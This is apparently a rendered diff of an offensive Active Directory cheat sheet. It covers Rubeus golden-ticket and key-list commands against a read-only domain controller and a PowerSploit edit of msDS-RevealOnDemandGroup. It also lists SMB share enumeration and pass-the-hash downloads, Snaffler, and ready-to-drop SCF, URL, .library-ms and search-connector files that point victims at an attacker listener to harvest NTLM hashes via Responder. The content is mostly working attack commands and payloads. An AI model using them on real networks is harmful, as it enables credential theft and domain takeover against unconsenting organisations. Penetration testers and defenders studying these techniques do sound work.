Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
|
||||
Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
|
||||
```
|
||||
|
||||
|
||||
## RODC Computer Object
|
||||
|
||||
When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.
|
||||
|
||||
* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute
|
||||
```ps1
|
||||
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
|
||||
```
|
|
@ -0,0 +1,166 @@
|
|||
# Shares
|
||||
|
||||
## READ Permission
|
||||
|
||||
> Some shares can be accessible without authentication, explore them to find some juicy files
|
||||
|
||||
* [ShawnDEvans/smbmap - a handy SMB enumeration tool](https://github.com/ShawnDEvans/smbmap)
|
||||
```powershell
|
||||
smbmap -H 10.10.10.10 # null session
|
||||
smbmap -H 10.10.10.10 -R # recursive listing
|
||||
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
|
||||
smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
|
||||
```
|
||||
|
||||
* [byt3bl33d3r/pth-smbclient from path-toolkit](https://github.com/byt3bl33d3r/pth-toolkit)
|
||||
```powershell
|
||||
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
|
||||
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
|
||||
ls # list files
|
||||
cd # move inside a folder
|
||||
get # download files
|
||||
put # replace a file
|
||||
```
|
||||
|
||||
* [SecureAuthCorp/smbclient from Impacket](https://github.com/SecureAuthCorp/impacket)
|
||||
```powershell
|
||||
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
|
||||
Sharename Type Comment
|
||||
--------- ---- -------
|
||||
ADMIN$ Disk Remote Admin
|
||||
C$ Disk Default share
|
||||
IPC$ IPC Remote IPC
|
||||
NETLOGON Disk Logon server share
|
||||
Replication Disk
|
||||
SYSVOL Disk Logon server share
|
||||
Users Disk
|
||||
use Sharename # select a Sharename
|
||||
cd Folder # move inside a folder
|
||||
ls # list files
|
||||
```
|
||||
|
||||
* [smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers](#)
|
||||
```powershell
|
||||
smbclient -U username //10.0.0.1/SYSVOL
|
||||
smbclient //10.0.0.1/Share
|
||||
|
||||
# Download a folder recursively
|
||||
smb: \> mask ""
|
||||
smb: \> recurse ON
|
||||
smb: \> prompt OFF
|
||||
smb: \> lcd '/path/to/go/'
|
||||
smb: \> mget *
|
||||
```
|
||||
|
||||
|
||||
* [SnaffCon/Snaffler - a tool for pentesters to help find delicious candy](https://github.com/SnaffCon/Snaffler)
|
||||
```ps1
|
||||
snaffler.exe -s - snaffler.log
|
||||
|
||||
# Snaffle all the computers in the domain
|
||||
./Snaffler.exe -d domain.local -c <DC> -s
|
||||
|
||||
# Snaffle specific computers
|
||||
./Snaffler.exe -n computer1,computer2 -s
|
||||
|
||||
# Snaffle a specific directory
|
||||
./Snaffler.exe -i C:\ -s
|
||||
```
|
||||
|
||||
|
||||
## WRITE Permission
|
||||
|
||||
Write SCF and URL files on a writeable share to farm for user's hashes and eventually replay them.
|
||||
|
||||
Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)
|
||||
|
||||
```ps1
|
||||
# Farmer to receive auth
|
||||
farmer.exe <port> [seconds] [output]
|
||||
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
|
||||
farmer.exe 8888 60 # one minute
|
||||
|
||||
# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
|
||||
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
|
||||
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
|
||||
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
|
||||
```
|
||||
|
||||
### SCF Files
|
||||
|
||||
Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`
|
||||
|
||||
```powershell
|
||||
[Shell]
|
||||
Command=2
|
||||
IconFile=\\10.10.10.10\Share\test.ico
|
||||
[Taskbar]
|
||||
Command=ToggleDesktop
|
||||
```
|
||||
|
||||
Using [`crackmapexec`](https://github.com/mpgn/CrackMapExec/blob/master/cme/modules/slinky.py):
|
||||
|
||||
```ps1
|
||||
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
|
||||
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
|
||||
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
|
||||
```
|
||||
|
||||
### URL Files
|
||||
|
||||
This attack also works with `.url` files and `responder -I eth0 -v`.
|
||||
|
||||
```powershell
|
||||
[InternetShortcut]
|
||||
URL=whatever
|
||||
WorkingDirectory=whatever
|
||||
IconFile=\\10.10.10.10\%USERNAME%.icon
|
||||
IconIndex=1
|
||||
```
|
||||
|
||||
### Windows Library Files
|
||||
|
||||
> Windows Library Files (.library-ms)
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
|
||||
<name>@windows.storage.dll,-34582</name>
|
||||
<version>6</version>
|
||||
<isLibraryPinned>true</isLibraryPinned>
|
||||
<iconReference>imageres.dll,-1003</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
|
||||
</templateInfo>
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<isDefaultSaveLocation>true</isDefaultSaveLocation>
|
||||
<isSupported>false</isSupported>
|
||||
<simpleLocation>
|
||||
<url>\\\\workstation@8888\\folder</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
|
||||
### Windows Search Connectors Files
|
||||
|
||||
> Windows Search Connectors (.searchConnector-ms)
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
|
||||
<iconReference>imageres.dll,-1002</iconReference>
|
||||
<description>Microsoft Outlook</description>
|
||||
<isSearchOnlyItem>false</isSearchOnlyItem>
|
||||
<includeInStartMenuScope>true</includeInStartMenuScope>
|
||||
<iconReference>\\\\workstation@8888\\folder.ico</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
|
||||
</templateInfo>
|
||||
<simpleLocation>
|
||||
<url>\\\\workstation@8888\\folder</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
```
|
Loading…
Reference in New Issue